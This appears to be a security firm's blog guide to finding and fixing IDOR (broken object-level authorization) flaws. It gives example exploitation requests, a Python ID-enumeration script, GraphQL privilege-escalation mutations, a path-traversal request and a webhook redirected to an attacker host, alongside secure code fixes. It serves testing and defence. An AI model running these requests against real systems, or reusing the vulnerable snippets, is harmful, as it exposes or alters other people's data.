Penetration Testing
IDOR
Insecure Direct Object Reference
Broken Access Control
BOLA
+6 more

IDOR Hunting Guide: 10 Patterns, Real Payloads & Testing Techniques (2026)

SecureCodeReviews Team
March 25, 2026
25 min read
Share

IDOR — The #1 Vulnerability That Automated Scanners Miss

Insecure Direct Object Reference (IDOR) — classified as OWASP A01: Broken Access Control and OWASP API1: Broken Object Level Authorization (BOLA) — has been the most exploited vulnerability class since 2021.

What makes IDOR devastating is its simplicity: change a number in a URL, access someone else's data. No injection, no encoding tricks, no special tools — just a browser and curiosity. Yet automated scanners catch less than 5% of IDOR bugs because they cannot understand business logic or authorization intent.

This guide covers 10 distinct IDOR patterns, real exploitation payloads, techniques to bypass common defenses, and a systematic testing methodology.

Bug Bounty Context: IDOR accounts for more critical/high payouts on HackerOne and Bugcrowd than any other single vulnerability class. Facebook alone has paid over $2M for IDOR reports.


Table of Contents

  1. How IDOR Works — The Fundamentals
  2. Pattern 1: Direct ID Manipulation
  3. Pattern 2: IDOR in Body Parameters
  4. Pattern 3: IDOR via File/Path References
  5. Pattern 4: IDOR in GraphQL Queries
  6. Pattern 5: IDOR Through Indirect References
  7. Pattern 6: IDOR in Batch/Bulk Endpoints
  8. Pattern 7: IDOR via State-Changing Operations
  9. Pattern 8: IDOR in Webhooks & Callbacks
  10. Pattern 9: IDOR Through API Versioning
  11. Pattern 10: IDOR in Export/Report Functions
  12. Bypassing UUID-Based Defenses
  13. Systematic Testing Methodology
  14. IDOR Prevention Patterns by Framework

1. How IDOR Works — The Fundamentals

An IDOR occurs when all three conditions are true:

1. The application uses a client-supplied identifier to look up a resource
2. The identifier is predictable or discoverable
3. No server-side check verifies the requester is authorized to access that resource

The Core Problem: Authentication ≠ Authorization

CheckQuestionCatches
Authentication"Who are you?"Unauthenticated access
Authorization"Are you allowed to access THIS resource?"IDOR

Most developers implement authentication correctly but forget authorization at the object level.

Impact by Industry

IndustryIDOR RiskExample Impact
FintechCriticalView other users' balances, transactions, tax documents
HealthcareCriticalAccess patient medical records, prescriptions, lab results
E-commerceHighView order details, addresses, payment methods
SaaSHighAccess other tenants' data, API keys, configurations
Social MediaHighView private messages, photos, personal information
EducationMediumAccess other students' grades, submissions, evaluations

2. Pattern 1: Direct ID Manipulation (Classic IDOR)

The simplest and most common pattern. A sequential or predictable ID in the URL path or query parameter.

Vulnerable Endpoint

GET /api/invoices/1001
Authorization: Bearer <user_A_token>

Response: { "id": 1001, "amount": 2500, "customer": "User A", ... }

Exploitation

# Simply change the ID
GET /api/invoices/1002
Authorization: Bearer <user_A_token>

Response: { "id": 1002, "amount": 87000, "customer": "User B", "tax_id": "XXX-XX-1234" }
# User A now sees User B's invoice with their tax ID

Enumeration Script

import requests

headers = {"Authorization": "Bearer <your_token>"}
base_url = "https://api.target.com/api/invoices/"

for invoice_id in range(1, 10000):
    resp = requests.get(f"{base_url}{invoice_id}", headers=headers)
    if resp.status_code == 200:
        data = resp.json()
        if data.get("customer") != "Your Name":
            print(f"[IDOR] Invoice {invoice_id}: {data['customer']} - " + str(data['amount']))

Vulnerable Code (Node.js)

// ❌ VULNERABLE — no ownership check
router.get('/invoices/:id', auth, async (req, res) => {
  const invoice = await Invoice.findById(req.params.id);
  if (!invoice) return res.status(404).json({ error: 'Not found' });
  res.json(invoice);
});

Secure Code

// ✅ SECURE — ownership enforced in query
router.get('/invoices/:id', auth, async (req, res) => {
  const invoice = await Invoice.findOne({
    _id: req.params.id,
    userId: req.user.id  // Only return if user owns it
  });
  if (!invoice) return res.status(404).json({ error: 'Not found' });
  res.json(invoice);
});

3. Pattern 2: IDOR in Body Parameters

Many developers protect URL parameters but forget that request body fields are equally attacker-controlled.

Vulnerable Endpoint

POST /api/profile/update
Content-Type: application/json
Authorization: Bearer <user_A_token>

{
  "userId": "user_B_id",    ← Attacker changes this
  "email": "attacker@evil.com",
  "phone": "555-0000"
}

The Problem

// ❌ VULNERABLE — trusts userId from request body
router.post('/profile/update', auth, async (req, res) => {
  const { userId, email, phone } = req.body;
  await User.findByIdAndUpdate(userId, { email, phone });
  res.json({ success: true });
});

The Fix

// ✅ SECURE — userId from JWT, never from request body
router.post('/profile/update', auth, async (req, res) => {
  const { email, phone } = req.body;
  await User.findByIdAndUpdate(req.user.id, { email, phone });
  res.json({ success: true });
});

Where to Look

  • Profile update endpoints
  • Settings/preferences endpoints
  • Password change (changing userId in body)
  • Subscription/billing updates
  • Any PUT/PATCH/POST with a user identifier in the body

4. Pattern 3: IDOR via File and Path References

File downloads, document viewers, and media endpoints often reference files by name or path — creating directory traversal + IDOR hybrids.

Vulnerable Endpoints

GET /api/documents/download?file=user_1001/tax_return_2025.pdf
GET /api/attachments/receipt_1001.pdf
GET /api/exports/report-user-42.csv

Exploitation

# Change the user folder
GET /api/documents/download?file=user_1002/tax_return_2025.pdf

# Iterate user IDs
GET /api/documents/download?file=user_1/tax_return_2025.pdf
GET /api/documents/download?file=user_2/tax_return_2025.pdf

# Directory traversal + IDOR combo
GET /api/documents/download?file=../admin/config.json

Vulnerable Code (Python Flask)

# ❌ VULNERABLE — user-controlled file path
@app.route('/api/documents/download')
@login_required
def download_doc():
    filename = request.args.get('file')
    return send_from_directory(UPLOAD_DIR, filename)

Secure Code

# ✅ SECURE — lookup by DB record with ownership check
@app.route('/api/documents/<doc_id>/download')
@login_required
def download_doc(doc_id):
    doc = Document.query.filter_by(
        id=doc_id,
        user_id=current_user.id  # Ownership enforced
    ).first_or_404()

    # Serve from a path the user never controls
    return send_from_directory(UPLOAD_DIR, doc.stored_filename)

5. Pattern 4: IDOR in GraphQL Queries

GraphQL's flexibility makes it particularly prone to IDOR because clients specify exactly which data they want — including other users' resources.

Vulnerable Query

# Attacker queries another user's orders
query {
  user(id: "other_user_id") {
    email
    orders {
      id
      total
      items { name, price }
      shippingAddress { street, city, zip }
    }
    paymentMethods {
      last4
      brand
      expiryDate
    }
  }
}

Nested IDOR via Relationships

# Even if user query is protected, try through relationships
query {
  order(id: "order_belonging_to_other_user") {
    total
    customer {
      email
      phone
      address
    }
  }
}

Mutations

# Delete another user's data
mutation {
  deleteAddress(id: "other_users_address_id") {
    success
  }
}

# Update another user's settings
mutation {
  updateUserSettings(userId: "other_user_id", settings: { isAdmin: true }) {
    success
  }
}

Defense

// ✅ Authorization in GraphQL resolvers
const resolvers = {
  Query: {
    user: async (_, { id }, context) => {
      // Only allow querying own profile (or admin)
      if (id !== context.user.id && !context.user.isAdmin) {
        throw new ForbiddenError('Not authorized');
      }
      return User.findById(id);
    },
    order: async (_, { id }, context) => {
      const order = await Order.findById(id);
      if (order.userId !== context.user.id) {
        throw new ForbiddenError('Not authorized');
      }
      return order;
    }
  }
};

6. Pattern 5: IDOR Through Indirect References

Sometimes the IDOR isn't through a direct resource ID but through a related resource that leaks access.

Scenario: Support Ticket Attachments

# Step 1: User A creates a support ticket with a private attachment
POST /api/tickets
{ "subject": "Billing issue", "attachment": "contract.pdf" }
Response: { "ticketId": 500, "attachmentId": "att_abc123" }

# Step 2: Attacker uses the attachment endpoint directly
GET /api/attachments/att_abc123
# No check if the requester is associated with ticket 500
# The workspace invitation endpoint reveals member details
GET /api/workspaces/ws_123/members
# Attacker is not a member of ws_123 but the endpoint doesn't check membership
Response: [
  { "email": "ceo@target.com", "role": "owner" },
  { "email": "cfo@target.com", "role": "admin" },
  ...
]

Scenario: Comment on Another User's Private Resource

POST /api/comments
{
  "resourceId": "private_doc_belonging_to_user_B",
  "text": "test"
}
# If the server accepts this, it confirms the private resource exists
# AND may give the attacker read access through the comment thread

Defense

  • Validate authorization on every resource in the chain, not just the top-level resource
  • Attachment access should always verify ticket ownership first
  • Comment creation should verify read access to the parent resource

7. Pattern 6: IDOR in Batch/Bulk Endpoints

Bulk APIs that accept arrays of IDs are especially dangerous because a single request can exfiltrate massive amounts of data.

Vulnerable Endpoint

POST /api/users/bulk-export
Content-Type: application/json
Authorization: Bearer <attacker_token>

{
  "userIds": ["user_1", "user_2", "user_3", ... "user_10000"]
}

Response: [
  { "id": "user_1", "email": "...", "phone": "...", "ssn": "..." },
  { "id": "user_2", "email": "...", "phone": "...", "ssn": "..." },
  ...
]

Other Bulk IDOR Patterns

# Bulk delete
DELETE /api/files/bulk
{ "fileIds": ["other_user_file_1", "other_user_file_2"] }

# Bulk status check
POST /api/orders/status
{ "orderIds": ["1001", "1002", "1003", ..., "9999"] }

# Bulk download
POST /api/reports/download
{ "reportIds": ["report_1", "report_2"] }

Defense

// ✅ Filter bulk requests to only owned resources
router.post('/users/bulk-export', auth, async (req, res) => {
  const { userIds } = req.body;

  // Only allow if requester is admin AND all IDs belong to their organization
  if (!req.user.isAdmin) return res.status(403).json({ error: 'Forbidden' });

  const users = await User.find({
    _id: { $in: userIds },
    organizationId: req.user.organizationId  // Tenant isolation
  });

  res.json(users);
});

8. Pattern 7: IDOR via State-Changing Operations

Read-based IDORs get attention, but write/delete IDORs are often more dangerous — they allow attackers to modify or destroy other users' data.

Cancel Another User's Order

POST /api/orders/5001/cancel
Authorization: Bearer <attacker_token>

# Server cancels order 5001 without checking if the attacker owns it

Transfer Funds from Another Account

POST /api/transfers
{
  "fromAccount": "victim_account_id",
  "toAccount": "attacker_account_id",
  "amount": 50000
}

Delete Another User's Files

DELETE /api/files/file_belonging_to_other_user
Authorization: Bearer <attacker_token>

Response: { "success": true, "message": "File deleted" }

Approve/Reject Without Authorization

# HR application — attacker approves their own leave request
POST /api/leave-requests/req_555/approve
Authorization: Bearer <employee_token>
# Server doesn't verify that the requester is the approving manager

Defense

State-changing operations require even stricter authorization than read operations. Verify ownership AND role AND state validity.


9. Pattern 8: IDOR in Webhooks and Callbacks

Webhook configurations often let users specify callback URLs — but sometimes they also expose other users' webhook configurations or let attackers modify them.

Vulnerable Webhook Management

# List another user's webhooks
GET /api/webhooks?userId=other_user
Response: [
  { "id": "wh_1", "url": "https://customer.com/secret-endpoint", "events": ["payment.success"] }
]

# Update another user's webhook URL to attacker's server
PUT /api/webhooks/wh_1
{ "url": "https://attacker.com/capture" }
# Now all payment events go to the attacker

Callback-Based IDOR

# Payment callback with predictable reference
GET /api/payments/callback?ref=PAY-20260001
# Returns payment details including cardholder info
# Attacker iterates: PAY-20260001, PAY-20260002, ...

Defense

  • Webhook management must enforce organization/user ownership
  • Callback references should use unpredictable tokens, not sequential IDs
  • Webhook events should be signed with per-user secrets

10. Pattern 9: IDOR Through API Versioning

Older API versions may lack authorization checks that were added to newer versions. Attackers revert to the old version.

Exploitation

# v2 API has proper authorization
GET /api/v2/users/other_user_id/profile
Response: 403 Forbidden

# v1 API is still running and has no authorization check!
GET /api/v1/users/other_user_id/profile
Response: 200 OK { "email": "...", "phone": "...", "ssn": "..." }
# Try without version prefix
GET /api/users/other_user_id/profile

# Try internal/beta versions
GET /api/internal/users/other_user_id/profile
GET /api/beta/users/other_user_id/profile

# Try different content types
GET /api/v2/users/other_user_id/profile
Accept: application/xml
# XML endpoint may have weaker controls than JSON

Defense

  • Deprecate and decommission old API versions — don't leave them running
  • Apply the same authorization middleware across all API versions
  • Audit internal/beta/staging endpoints with the same rigor as production

11. Pattern 10: IDOR in Export and Report Functions

Export and reporting endpoints are goldmines for IDOR because they often return large datasets with minimal access controls.

Vulnerable Endpoints

# Export user data as CSV
GET /api/users/other_user_id/export?format=csv

# Download monthly report
GET /api/reports/monthly/2026-03?orgId=other_org_id

# Generate PDF invoice
GET /api/invoices/INV-9999/pdf
# Returns a full invoice PDF with billing details

Why Exports Are Especially Dangerous

  1. Bulk data — a single IDOR in an export can leak thousands of records
  2. Rich data — exports often include fields not shown in the UI (SSN, full address, internal notes)
  3. Cached files — exported files may be stored with predictable filenames
  4. Background jobs — export jobs may use a predictable job ID that anyone can poll

Cached Export IDOR

# User A requests an export
POST /api/exports
Response: { "exportId": "exp_1001", "status": "processing" }

# Later, the export file is accessible at a predictable URL
GET /api/exports/exp_1001/download
# Attacker requests exp_1002, exp_1003, etc.

Defense

  • Enforce ownership/membership on all export endpoints
  • Use signed, time-limited download URLs instead of predictable paths
  • Include only the minimum necessary fields in exports

12. Bypassing UUID-Based Defenses

Many teams switch from sequential integers to UUIDs thinking it solves IDOR. It doesn't. UUIDs make enumeration harder but don't provide authorization.

How Attackers Discover UUIDs

SourceTechnique
API responsesOther endpoints leak UUIDs in their response bodies
URL sharingShared links contain resource UUIDs
WebSocket messagesReal-time notifications include resource IDs
HTML sourceUUIDs embedded in data attributes, hidden fields
Referer headersPrevious page URL contains UUID
Log filesError messages or debug output leak UUIDs
Email notifications"View your order" links contain order UUID
S3 bucket listingsMisconfigured cloud storage exposes file UUIDs

UUID Harvesting Example

# Step 1: List endpoint leaks other users' IDs
GET /api/team/members
Response: [
  { "id": "550e8400-e29b-41d4-a716-446655440001", "name": "Alice" },
  { "id": "550e8400-e29b-41d4-a716-446655440002", "name": "Bob" }
]

# Step 2: Use harvested UUID to access Bob's private data
GET /api/users/550e8400-e29b-41d4-a716-446655440002/settings
Response: { "email": "bob@company.com", "apiKey": "sk-live-..." }

The Truth About UUIDs and IDOR

UUIDs provide: Obscurity (hard to guess)
UUIDs do NOT provide: Authorization (access control)

Security through obscurity is NOT security.
UUIDs should be combined with authorization checks, not replace them.

13. Systematic Testing Methodology

Phase 1: Reconnaissance

  1. Map all endpoints — use Burp Suite or browser DevTools to capture every API call
  2. Create two test accounts — User A (attacker) and User B (victim)
  3. Document all resource IDs — record every ID format (integer, UUID, slug, filename)
  4. Identify relationships — which resources belong to which users/organizations

Phase 2: Testing Matrix

For every endpoint that accepts a resource identifier, test these scenarios:

TestRequestExpectedIDOR If
Own resourceUser A requests User A's resource200 OK
Other user's resourceUser A requests User B's resource403 or 404200 OK
Non-existent resourceUser A requests fake ID404
No authRequest without token401200 OK
Different roleLow-priv user requests admin resource403200 OK

Phase 3: Targeted Testing

For each endpoint:
1. Capture a legitimate request (your own resource)
2. Replace the resource ID with another user's resource ID
3. Send the modified request
4. Compare response codes and bodies

If you get a 200 with another user's data → IDOR confirmed
If you get a 403 → Authorization is working
If you get a 404 → Could be secure (404 instead of 403 to prevent enumeration)

Phase 4: Advanced Techniques

Parameter Pollution

# Send the same parameter twice
GET /api/orders?id=my_order&id=other_users_order

# Some frameworks take the last value, some take the first

HTTP Method Switching

# GET is protected, but PUT/PATCH/DELETE may not be
GET /api/users/other_id → 403 Forbidden
PUT /api/users/other_id → 200 OK  (authorization only on GET!)

Case Sensitivity

# Some frameworks treat these differently
GET /api/Users/123     (capital U)
GET /api/USERS/123     (all caps)
GET /api/users/123     (lowercase — protected)

Changing Response Format

GET /api/users/other_id          → 403
GET /api/users/other_id.json     → 200 (different handler, no auth check)
GET /api/users/other_id?format=xml → 200
ToolPurpose
Burp SuiteIntercept, modify, and replay requests
Autorize (Burp Extension)Automated IDOR/authorization testing
OWASP ZAPFree proxy with auth testing capabilities
PostmanQuick manual testing with collections
ffuf / wfuzzFuzzing IDs at scale
Custom ScriptsPython/Go scripts for bulk enumeration

14. IDOR Prevention Patterns by Framework

Node.js / Express

// Reusable ownership middleware
const ownsResource = (model) => async (req, res, next) => {
  const resource = await model.findOne({
    _id: req.params.id,
    userId: req.user.id
  });
  if (!resource) return res.status(404).json({ error: 'Not found' });
  req.resource = resource;
  next();
};

// Apply to routes
router.get('/invoices/:id', auth, ownsResource(Invoice), (req, res) => {
  res.json(req.resource);
});

Django (Python)

# Mixin for ownership enforcement
class OwnershipMixin:
    def get_queryset(self):
        return super().get_queryset().filter(user=self.request.user)

class InvoiceViewSet(OwnershipMixin, viewsets.ModelViewSet):
    serializer_class = InvoiceSerializer
    queryset = Invoice.objects.all()
    # get_queryset automatically filters to user's own invoices

Ruby on Rails

# Scope all queries through the current user
class InvoicesController < ApplicationController
  def show
    # current_user.invoices automatically scopes the query
    @invoice = current_user.invoices.find(params[:id])
    render json: @invoice
  rescue ActiveRecord::RecordNotFound
    render json: { error: 'Not found' }, status: :not_found
  end
end

Spring Boot (Java)

@GetMapping("/invoices/{id}")
public ResponseEntity<Invoice> getInvoice(
    @PathVariable Long id,
    @AuthenticationPrincipal UserDetails user) {

    Invoice invoice = invoiceRepository
        .findByIdAndUserId(id, user.getId())
        .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));

    return ResponseEntity.ok(invoice);
}

Go (Gin)

func GetInvoice(c *gin.Context) {
    invoiceID := c.Param("id")
    userID := c.GetString("userId") // From auth middleware

    var invoice Invoice
    result := db.Where("id = ? AND user_id = ?", invoiceID, userID).First(&invoice)
    if result.Error != nil {
        c.JSON(404, gin.H{"error": "Not found"})
        return
    }
    c.JSON(200, invoice)
}

IDOR Prevention Checklist

[ ] Every endpoint that accepts a resource ID enforces ownership
[ ] Authorization checks happen server-side, never client-side only
[ ] User ID comes from the session/token, never from the request body
[ ] Bulk/batch endpoints validate ownership for ALL requested IDs
[ ] File download endpoints use DB lookups, not user-supplied paths
[ ] GraphQL resolvers have authorization checks on every type/field
[ ] Old API versions have the same authorization as current versions
[ ] Export/report endpoints enforce organization/user scoping
[ ] UUIDs are used IN ADDITION to authorization, not instead of it
[ ] Internal/admin endpoints require role-based access, not just authentication
[ ] 404 (not 403) is returned for unauthorized resources (prevent enumeration)
[ ] Automated authorization tests exist in CI/CD pipeline

Key Takeaways

  1. IDOR is #1 for a reason — it's everywhere, easy to exploit, and invisible to automated scanners
  2. 10 patterns, not 1 — IDOR goes far beyond "change the ID in URL". Bulk endpoints, GraphQL, exports, webhooks, and body parameters are equally vulnerable
  3. UUIDs don't fix IDOR — they add obscurity, not authorization. UUIDs leak through API responses, emails, WebSockets, and HTML source
  4. Write IDORs are worse than read IDORs — deleting data, canceling orders, or modifying settings causes direct business harm
  5. Test with two accounts — the simplest and most effective testing technique is making requests with User A's token for User B's resources
  6. Scope queries through the user — the most reliable prevention is filtering database queries by the authenticated user's ID at the ORM level
  7. Manual code review catches what scanners miss — authorization logic requires human understanding of business rules

Professional IDOR Testing

IDOR is the #1 vulnerability we find in secure code reviews. Our team manually tests every endpoint for authorization flaws — something automated scanners cannot do reliably.

Request a Free Consultation → | View Our Penetration Testing Service →

Advertisement